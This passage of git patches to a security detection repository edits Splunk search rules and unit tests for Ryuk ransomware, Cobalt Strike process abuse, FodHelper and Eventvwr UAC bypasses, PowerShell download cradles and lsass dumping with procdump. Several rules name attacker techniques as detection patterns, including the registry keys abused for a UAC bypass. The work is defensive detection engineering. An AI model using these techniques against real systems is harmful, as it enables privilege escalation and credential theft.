+  This is consistent with Ryuk infections across a fleet of endpoints. This particular behavior is typically executed when an ransomware actor gains access to an endpoint and beings to perform execution. Usually, a batch (.bat) will be executed and multiple registry and scheduled task modifications will occur. 
+  During triage, review parallel processes and identify any further file modifications. Endpoint should be isolated. 
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Registry where Registry.registry_key_name="DisableAntiSpyware"
-  AND Registry.registry_value_name="DWORD (0x00000000)" by Registry.dest Registry.user
+  AND Registry.registry_value_name="DWORD (0x00000001)" by Registry.dest Registry.user
   Registry.registry_path Registry.registry_value_name | `drop_dm_object_name(Registry)`
   | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_disableantispyware_registry_filter`'
-how_to_implement: You must be ingesting data that records the process-system activity
-  from your hosts to populate the Endpoint Processes data-model object. If you are
-  using Sysmon, you will need a Splunk Universal Forwarder on each endpoint from which
-  you want to collect data.
-known_false_positives: It is unusual to turn this feature on a Windows system since
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: It is unusual to turn this feature off a Windows system since
   it is a default security control, although it is not rare for some policies to disable
   it. Although no false positives have been identified, use the provided filter macro
   to tune the search.
-references: []
+references:
+- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
 tags:
   analytic_story:
   - Ryuk Ransomware
@@ -29,6 +30,8 @@ tags:
   asset_type: Endpoint
   cis20:
   - CIS 8
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon.log
   kill_chain_phases:
   - Delivery
   mitre_attack_id:

From 6952b99ea4ce7549fc488f584e996e7181bdc01c Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 10:53:49 -0700
Subject: [PATCH 41/67] Update windows_disableantispyware_reg.yml

---
 detections/endpoint/windows_disableantispyware_reg.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/windows_disableantispyware_reg.yml b/detections/endpoint/windows_disableantispyware_reg.yml
index 078e2580fc..dd74a83540 100644
--- a/detections/endpoint/windows_disableantispyware_reg.yml
+++ b/detections/endpoint/windows_disableantispyware_reg.yml
@@ -16,7 +16,7 @@ search: '| tstats `security_content_summariesonly` count min(_time) as firstTime
   | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_disableantispyware_registry_filter`'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
-  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+  your endpoints into the `Endpoint` datamodel in the `Registry` node.
 known_false_positives: It is unusual to turn this feature off a Windows system since
   it is a default security control, although it is not rare for some policies to disable
   it. Although no false positives have been identified, use the provided filter macro

From eb16361776aa096d66e9211875288fa6db7a063f Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-36-10>
Date: Tue, 2 Mar 2021 17:58:44 +0000
Subject: [PATCH 42/67] Added detection testing service results inSuspicious
 GPUpdate no Command Line Arguments

---
 .../suspicious_gpupdate_no_command_line_arguments.yml    | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
index 217c7a0131..3601b2c19a 100644
--- a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
@@ -7,7 +7,7 @@ type: batch
 datamodel: []
 description: The following analytic identifies gpupdate.exe with no command line arguments.
   It is unusual for gpupdate.exe to execute with no command line arguments present.
-  This particular behavior is common with malicious software, including Cobalt Strike. 
+  This particular behavior is common with malicious software, including Cobalt Strike.
   During investigation, identify any network connections and parallel processes. Identify
   any suspicious module loads related to credential dumping or file writes. gpupdate.exe
   is natively found in C:\Windows\system32 and C:\Windows\syswow64.
@@ -20,8 +20,9 @@ how_to_implement: To successfully implement this search, you need to be ingestin
   logs with the process name, parent process, and command-line executions from your
   endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
   Sysmon TA.
-known_false_positives: Limited false positives may be present in small environments. Tuning may be required based on parent process. 
-references: 
+known_false_positives: Limited false positives may be present in small environments.
+  Tuning may be required based on parent process.
+references:
 - https://raw.githubusercontent.com/xx0hcd/Malleable-C2-Profiles/0ef8cf4556e26f6d4190c56ba697c2159faa5822/crimeware/trick_ryuk.profile
 - https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
 tags:
@@ -37,4 +38,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From 1efa4bcf5f312c7580cddd71da4cb002746527f5 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 11:19:04 -0700
Subject: [PATCH 43/67] Update ryuk_wake_on_lan_command.yml

---
 detections/endpoint/ryuk_wake_on_lan_command.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/ryuk_wake_on_lan_command.yml b/detections/endpoint/ryuk_wake_on_lan_command.yml
index ab0c4faff1..c0d6292b09 100644
--- a/detections/endpoint/ryuk_wake_on_lan_command.yml
+++ b/detections/endpoint/ryuk_wake_on_lan_command.yml
@@ -9,7 +9,7 @@ datamodel:
 description: This Splunk query identifies the use of Wake-on-LAN utilized by Ryuk ransomware. The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them. This is a high fidelity indicator of Ryuk ransomware executing on an endpoint.
   Upon triage, isolate the endpoint. Additional file modification events will be within the users profile (\appdata\roaming) and in public directories (users\public\). Review all Scheduled Tasks on the isolated endpoint and across the fleet. Suspicious Scheduled Tasks will include a path to a unknown binary and those endpoints should be isolated until triaged.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process="*8 LAN" OR Processes.process="*9 REP" by Processes.dest
+  as lastTime from datamodel=Endpoint.Processes where Processes.process="*8 LAN*" OR Processes.process="*9 REP*" by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`'

From 9c1bcaf16d4f07d1b60e5ee0733122f51e71ab22 Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-36-10>
Date: Tue, 2 Mar 2021 18:36:41 +0000
Subject: [PATCH 44/67] Added detection testing service results inSuspicious
 DLLHost no Command Line Arguments

---
 .../suspicious_dllhost_no_command_line_arguments.yml     | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml b/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
index fb1c1bbc4f..8a8836d100 100644
--- a/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
@@ -7,7 +7,7 @@ type: batch
 datamodel: []
 description: The following analytic identifies DLLHost.exe with no command line arguments.
   It is unusual for DLLHost.exe to execute with no command line arguments present.
-  This particular behavior is common with malicious software, including Cobalt Strike. 
+  This particular behavior is common with malicious software, including Cobalt Strike.
   During investigation, identify any network connections and parallel processes. Identify
   any suspicious module loads related to credential dumping or file writes. DLLHost.exe
   is natively found in C:\Windows\system32 and C:\Windows\syswow64.
@@ -20,8 +20,9 @@ how_to_implement: To successfully implement this search, you need to be ingestin
   logs with the process name, parent process, and command-line executions from your
   endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
   Sysmon TA.
-known_false_positives: Limited false positives may be present in small environments. Tuning may be required based on parent process. 
-references: 
+known_false_positives: Limited false positives may be present in small environments.
+  Tuning may be required based on parent process.
+references:
 - https://raw.githubusercontent.com/threatexpress/malleable-c2/c3385e481159a759f79b8acfe11acf240893b830/jquery-c2.4.2.profile
 - https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
 tags:
@@ -37,4 +38,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From de916f2e60b0dea560834065c91a0818851625ce Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-238-97>
Date: Tue, 2 Mar 2021 19:26:38 +0000
Subject: [PATCH 45/67] Added detection testing service results inSuspicious
 SearchProtocolHost no Command Line Arguments

---
 ...protocolhost_no_command_line_arguments.yml | 28 ++++++++++---------
 1 file changed, 15 insertions(+), 13 deletions(-)

diff --git a/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml b/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
index c2577e576a..77041734ab 100644
--- a/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_searchprotocolhost_no_command_line_arguments.yml
@@ -5,23 +5,25 @@ date: '2021-02-23'
 author: Michael Haag, Splunk
 type: batch
 datamodel: []
-description: The following analytic identifies searchprotocolhost.exe with no command line arguments.
-  It is unusual for searchprotocolhost.exe to execute with no command line arguments present.
-  This particular behavior is common with malicious software, including Cobalt Strike. 
-  During investigation, identify any network connections and parallel processes. Identify
-  any suspicious module loads related to credential dumping or file writes. searchprotocolhost.exe
-  is natively found in C:\Windows\system32 and C:\Windows\syswow64.
+description: The following analytic identifies searchprotocolhost.exe with no command
+  line arguments. It is unusual for searchprotocolhost.exe to execute with no command
+  line arguments present. This particular behavior is common with malicious software,
+  including Cobalt Strike. During investigation, identify any network connections
+  and parallel processes. Identify any suspicious module loads related to credential
+  dumping or file writes. searchprotocolhost.exe is natively found in C:\Windows\system32
+  and C:\Windows\syswow64.
 search: '`sysmon` EventID=1 (process_name=searchprotocolhost.exe OR OriginalFileName=SearchProtocolHost.exe)
-  | regex CommandLine="(searchprotocolhost\.exe.{0,4}$)" | stats count min(_time) as firstTime
-  max(_time) as lastTime by dest, User, ParentImage,ParentCommandLine, process_name,
-  OriginalFileName, process_path, CommandLine | rename Computer as dest | `security_content_ctime(firstTime)`
-  | `security_content_ctime(lastTime)` | `suspicious_searchprotocolhost_no_command_line_arguments_filter`'
+  | regex CommandLine="(searchprotocolhost\.exe.{0,4}$)" | stats count min(_time)
+  as firstTime max(_time) as lastTime by dest, User, ParentImage,ParentCommandLine,
+  process_name, OriginalFileName, process_path, CommandLine | rename Computer as dest
+  | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_searchprotocolhost_no_command_line_arguments_filter`'
 how_to_implement: To successfully implement this search, you need to be ingesting
   logs with the process name, parent process, and command-line executions from your
   endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
   Sysmon TA.
-known_false_positives: Limited false positives may be present in small environments. Tuning may be required based on parent process. 
-references: 
+known_false_positives: Limited false positives may be present in small environments.
+  Tuning may be required based on parent process.
+references:
 - https://github.com/fireeye/red_team_tool_countermeasures/blob/master/rules/PGF/supplemental/hxioc/SUSPICIOUS%20EXECUTION%20OF%20SEARCHPROTOCOLHOST%20(METHODOLOGY).ioc
 tags:
   analytic_story:
@@ -36,4 +38,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From d5cdffe5fa5757842b1285283fb3aa3e11218b99 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 12:52:07 -0700
Subject: [PATCH 46/67] Update fodhelper_uac_bypass.test.yml

---
 tests/endpoint/fodhelper_uac_bypass.test.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/endpoint/fodhelper_uac_bypass.test.yml b/tests/endpoint/fodhelper_uac_bypass.test.yml
index 5c487a9be6..ad95587bd1 100644
--- a/tests/endpoint/fodhelper_uac_bypass.test.yml
+++ b/tests/endpoint/fodhelper_uac_bypass.test.yml
@@ -1,7 +1,7 @@
 name: FodHelper UAC Bypass Unit Test
 tests:
 - name: FodHelper UAC Bypass
-  file: detections/endpoint/fodhelper_uac_bypass.yml
+  file: endpoint/fodhelper_uac_bypass.yml
   pass_condition: '| stats count | where count > 0'
   earliest_time: '-24h'
   latest_time: 'now'

From 1f6fd5b915045a0cdfb6108fae56e39b8fe9e73e Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-152-147>
Date: Tue, 2 Mar 2021 20:12:27 +0000
Subject: [PATCH 47/67] Added detection testing service results inFodHelper UAC
 Bypass

---
 detections/endpoint/fodhelper_uac_bypass.yml | 25 +++++++++++---------
 1 file changed, 14 insertions(+), 11 deletions(-)

diff --git a/detections/endpoint/fodhelper_uac_bypass.yml b/detections/endpoint/fodhelper_uac_bypass.yml
index f566620ac4..f37f5924bc 100644
--- a/detections/endpoint/fodhelper_uac_bypass.yml
+++ b/detections/endpoint/fodhelper_uac_bypass.yml
@@ -6,26 +6,29 @@ author: Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
-description: 'Fodhelper.exe has a known UAC bypass as it attempts to look for specific registry keys upon execution, that do not exist. Therefore, an attacker can write its malicious commands in these registry keys to be executed by fodhelper.exe with the highest privilege. \
+description: 'Fodhelper.exe has a known UAC bypass as it attempts to look for specific
+  registry keys upon execution, that do not exist. Therefore, an attacker can write
+  its malicious commands in these registry keys to be executed by fodhelper.exe with
+  the highest privilege. \
 
-1. `HKCU:\Software\Classes\ms-settings\shell\open\command`\
+  1. `HKCU:\Software\Classes\ms-settings\shell\open\command`\
 
-1. `HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute`\
-
-1. `HKCU:\Software\Classes\ms-settings\shell\open\command\(default)`\
-
-Upon triage, fodhelper.exe will have a child process and read access will occur on the registry keys. Isolate the endpoint and review parallel processes for additional behavior.'
+  1. `HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute`\
 
+  1. `HKCU:\Software\Classes\ms-settings\shell\open\command\(default)`\
 
+  Upon triage, fodhelper.exe will have a child process and read access will occur
+  on the registry keys. Isolate the endpoint and review parallel processes for additional
+  behavior.'
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=fodhelper.exe
-  by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
-  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  by Processes.dest Processes.user Processes.parent_process Processes.process_name
+  Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `fodhelper_uac_bypass_filter`'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
-known_false_positives: Limited to no false positives are expected. 
+known_false_positives: Limited to no false positives are expected.
 references:
 - https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
 - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md
@@ -46,4 +49,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From faca9affebfd7fdb2003d8d6d95063e28fee46df Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 15:01:54 -0700
Subject: [PATCH 48/67] Update
 suspicious_scheduled_task_from_public_directory.test.yml

---
 .../suspicious_scheduled_task_from_public_directory.test.yml    | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml b/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml
index 0574310520..0d93992299 100644
--- a/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml
+++ b/tests/endpoint/suspicious_scheduled_task_from_public_directory.test.yml
@@ -1,7 +1,7 @@
 name: Suspicious Scheduled Task from Public Directory Unit Test
 tests:
 - name: Suspicious Scheduled Task from Public Directory
-  file: detections/endpoint/suspicious_scheduled_task_from_public_directory.yml
+  file: endpoint/suspicious_scheduled_task_from_public_directory.yml
   pass_condition: '| stats count | where count > 0'
   earliest_time: '-24h'
   latest_time: 'now'

From e6fd5ba6c7b6fd13940cd9e98f3f83d0d99329df Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 15:02:51 -0700
Subject: [PATCH 49/67] Update any_powershell_downloadstring.test.yml

---
 tests/endpoint/any_powershell_downloadstring.test.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/endpoint/any_powershell_downloadstring.test.yml b/tests/endpoint/any_powershell_downloadstring.test.yml
index 555664401f..122ff59583 100644
--- a/tests/endpoint/any_powershell_downloadstring.test.yml
+++ b/tests/endpoint/any_powershell_downloadstring.test.yml
@@ -1,7 +1,7 @@
 name: Any Powershell DownloadString Unit Test
 tests:
 - name: Any Powershell DownloadString
-  file: detections/endpoint/any_powershell_downloadstring.yml
+  file: endpoint/any_powershell_downloadstring.yml
   pass_condition: '| stats count | where count > 0'
   earliest_time: '-24h'
   latest_time: 'now'

From 545000489cf6e4006783b3831fd4966e46f650dd Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-38-74>
Date: Tue, 2 Mar 2021 22:19:35 +0000
Subject: [PATCH 50/67] Added detection testing service results inEventvwr UAC
 Bypass

---
 detections/endpoint/eventvwr_uac_bypass.yml | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/detections/endpoint/eventvwr_uac_bypass.yml b/detections/endpoint/eventvwr_uac_bypass.yml
index 94bd229262..653ac291df 100644
--- a/detections/endpoint/eventvwr_uac_bypass.yml
+++ b/detections/endpoint/eventvwr_uac_bypass.yml
@@ -6,13 +6,17 @@ author: Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
-description: The following search identifies Eventvwr bypass by identifying the registry modification into a specific path that eventvwr.msc looks to (but is not valid) upon execution. A successful attack will include a suspicious command to be executed upon eventvwr.msc loading.
-  Upon triage, review the parallel processes that have executed. Identify any additional registry modifications on the endpoint that may look suspicious. Remediate as necessary.
+description: The following search identifies Eventvwr bypass by identifying the registry
+  modification into a specific path that eventvwr.msc looks to (but is not valid)
+  upon execution. A successful attack will include a suspicious command to be executed
+  upon eventvwr.msc loading. Upon triage, review the parallel processes that have
+  executed. Identify any additional registry modifications on the endpoint that may
+  look suspicious. Remediate as necessary.
 search: '| tstats `security_content_summariesonly` count values(Registry.registry_key_name)
   as registry_key_name values(Registry.registry_path) as registry_path min(_time)
   as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where  Registry.registry_path="*mscfile\\shell\\open\\command\\*"  by
-  Registry.user, Registry.dest , Registry.registry_value_name| `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)`
-  | `drop_dm_object_name(Registry)` | `eventvwr_uac_bypass_filter`'
+  Registry.user, Registry.dest , Registry.registry_value_name| `security_content_ctime(lastTime)`
+  | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `eventvwr_uac_bypass_filter`'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Registry` node.
@@ -36,4 +40,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From f408036e4abd673dc3cbd226e1bff49bf6bb58e6 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 2 Mar 2021 15:21:55 -0700
Subject: [PATCH 51/67] Create windows_disableantispyware_reg.test.yml

---
 .../endpoint/windows_disableantispyware_reg.test.yml | 12 ++++++++++++
 1 file changed, 12 insertions(+)
 create mode 100644 tests/endpoint/windows_disableantispyware_reg.test.yml

diff --git a/tests/endpoint/windows_disableantispyware_reg.test.yml b/tests/endpoint/windows_disableantispyware_reg.test.yml
new file mode 100644
index 0000000000..806f786399
--- /dev/null
+++ b/tests/endpoint/windows_disableantispyware_reg.test.yml
@@ -0,0 +1,12 @@
+name:  Windows Disable Antispyware Reg Unit Test
+tests:
+- name:  Windows Disable Antispyware Reg
+  file: endpoint/windows_disableantispyware_reg.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1562.001/atomic_red_team/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog

From a11504558251327e13cb9ac1ed17908124e322ab Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-233-176>
Date: Tue, 2 Mar 2021 22:53:42 +0000
Subject: [PATCH 52/67] Added detection testing service results inWindows
 Disable Antispyware Reg

---
 detections/endpoint/windows_disableantispyware_reg.yml | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/windows_disableantispyware_reg.yml b/detections/endpoint/windows_disableantispyware_reg.yml
index dd74a83540..3eb088638b 100644
--- a/detections/endpoint/windows_disableantispyware_reg.yml
+++ b/detections/endpoint/windows_disableantispyware_reg.yml
@@ -7,8 +7,11 @@ type: batch
 datamodel:
 - Endpoint
 description: The search looks for the Registry Key DisableAntiSpyware set to disable.
-  This is consistent with Ryuk infections across a fleet of endpoints. This particular behavior is typically executed when an ransomware actor gains access to an endpoint and beings to perform execution. Usually, a batch (.bat) will be executed and multiple registry and scheduled task modifications will occur. 
-  During triage, review parallel processes and identify any further file modifications. Endpoint should be isolated. 
+  This is consistent with Ryuk infections across a fleet of endpoints. This particular
+  behavior is typically executed when an ransomware actor gains access to an endpoint
+  and beings to perform execution. Usually, a batch (.bat) will be executed and multiple
+  registry and scheduled task modifications will occur. During triage, review parallel
+  processes and identify any further file modifications. Endpoint should be isolated.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Registry where Registry.registry_key_name="DisableAntiSpyware"
   AND Registry.registry_value_name="DWORD (0x00000001)" by Registry.dest Registry.user
@@ -44,3 +47,4 @@ tags:
   - Splunk Enterprise Security
   - Splunk Cloud
   security_domain: endpoint
+  automated_detection_testing: passed

From ff34bac8968f58138676f33e7d355fec4ae96053 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Wed, 3 Mar 2021 07:15:09 -0700
Subject: [PATCH 53/67] posh downloadstring or file

---
 detections/endpoint/any_powershell_downloadfile.yml   | 4 ++--
 detections/endpoint/any_powershell_downloadstring.yml | 4 ++--
 detections/endpoint/dump_lsass_via_procdump.yml       | 2 +-
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/detections/endpoint/any_powershell_downloadfile.yml b/detections/endpoint/any_powershell_downloadfile.yml
index fc68848657..264609f003 100644
--- a/detections/endpoint/any_powershell_downloadfile.yml
+++ b/detections/endpoint/any_powershell_downloadfile.yml
@@ -9,8 +9,8 @@ datamodel:
 description: The following analytic identifies the use of PowerShell downloading a file using `DownloadFile` method. This particular method is utilized in many different PowerShell frameworks to download files and output to disk. 
   Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
-  Processes.process=*DownloadFile* (Processes.process!=*chocolatey.org*) by Processes.dest
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
+  Processes.process=*.DownloadFile*  by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`'
diff --git a/detections/endpoint/any_powershell_downloadstring.yml b/detections/endpoint/any_powershell_downloadstring.yml
index 7a9d648987..e87c3403c4 100644
--- a/detections/endpoint/any_powershell_downloadstring.yml
+++ b/detections/endpoint/any_powershell_downloadstring.yml
@@ -9,8 +9,8 @@ datamodel:
 description: The following analytic identifies the use of PowerShell downloading a file using `DownloadString` method. This particular method is utilized in many different PowerShell frameworks to download files and output to disk. 
   Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
-  Processes.process=*DownloadString* (Processes.process!=*chocolatey.org*) by Processes.dest
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
+  Processes.process=*.DownloadString*  by Processes.dest
   Processes.user Processes.parent_process Processes.process_name Processes.process
   Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadstring_filter`'
diff --git a/detections/endpoint/dump_lsass_via_procdump.yml b/detections/endpoint/dump_lsass_via_procdump.yml
index 168bf52b29..d44d550a62 100644
--- a/detections/endpoint/dump_lsass_via_procdump.yml
+++ b/detections/endpoint/dump_lsass_via_procdump.yml
@@ -17,7 +17,7 @@ description: 'Detect procdump.exe dumping the lsass process. This query looks fo
   the command line. Review other endpoint data sources for cross process (injection)
   into lsass.exe.'
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=procdump.exe
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=procdump.exe OR Processes.process_name=procdump64.exe
   (Processes.process=*-ma* OR Processes.process=*-mm*) Processes.process=*lsass* by
   Processes.user Processes.process_name Processes.process Processes.dest | `drop_dm_object_name(Processes)`
   | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dump_lsass_via_procdump_filter`'

From efc091d562939c74f70c71d410a8508bf636cee1 Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-156-197>
Date: Wed, 3 Mar 2021 14:48:05 +0000
Subject: [PATCH 54/67] Added detection testing service results inAny
 Powershell DownloadString

---
 .../any_powershell_downloadstring.yml         | 24 ++++++++++++-------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/detections/endpoint/any_powershell_downloadstring.yml b/detections/endpoint/any_powershell_downloadstring.yml
index e87c3403c4..20d335a4b8 100644
--- a/detections/endpoint/any_powershell_downloadstring.yml
+++ b/detections/endpoint/any_powershell_downloadstring.yml
@@ -6,18 +6,24 @@ author: Michael Haag, Splunk
 type: batch
 datamodel:
 - Endpoint
-description: The following analytic identifies the use of PowerShell downloading a file using `DownloadString` method. This particular method is utilized in many different PowerShell frameworks to download files and output to disk. 
-  Identify the source (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell transaction logs are available, review for further details of the implant.
+description: The following analytic identifies the use of PowerShell downloading a
+  file using `DownloadString` method. This particular method is utilized in many different
+  PowerShell frameworks to download files and output to disk. Identify the source
+  (IP/domain) and destination file and triage appropriately. If AMSI logging or PowerShell
+  transaction logs are available, review for further details of the implant.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
-  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
-  Processes.process=*.DownloadString*  by Processes.dest
-  Processes.user Processes.parent_process Processes.process_name Processes.process
-  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
-  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadstring_filter`'
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
+  OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
+  Processes.process=*.DownloadString*  by Processes.dest Processes.user Processes.parent_process
+  Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
+  | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`|
+  `any_powershell_downloadstring_filter`'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
-known_false_positives: False positives may be present and filtering will need to occur by parent process or command line argument. It may be required to modify this query to an EDR product for more granular coverage.
+known_false_positives: False positives may be present and filtering will need to occur
+  by parent process or command line argument. It may be required to modify this query
+  to an EDR product for more granular coverage.
 references:
 - https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-5.0
 - https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
@@ -35,4 +41,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
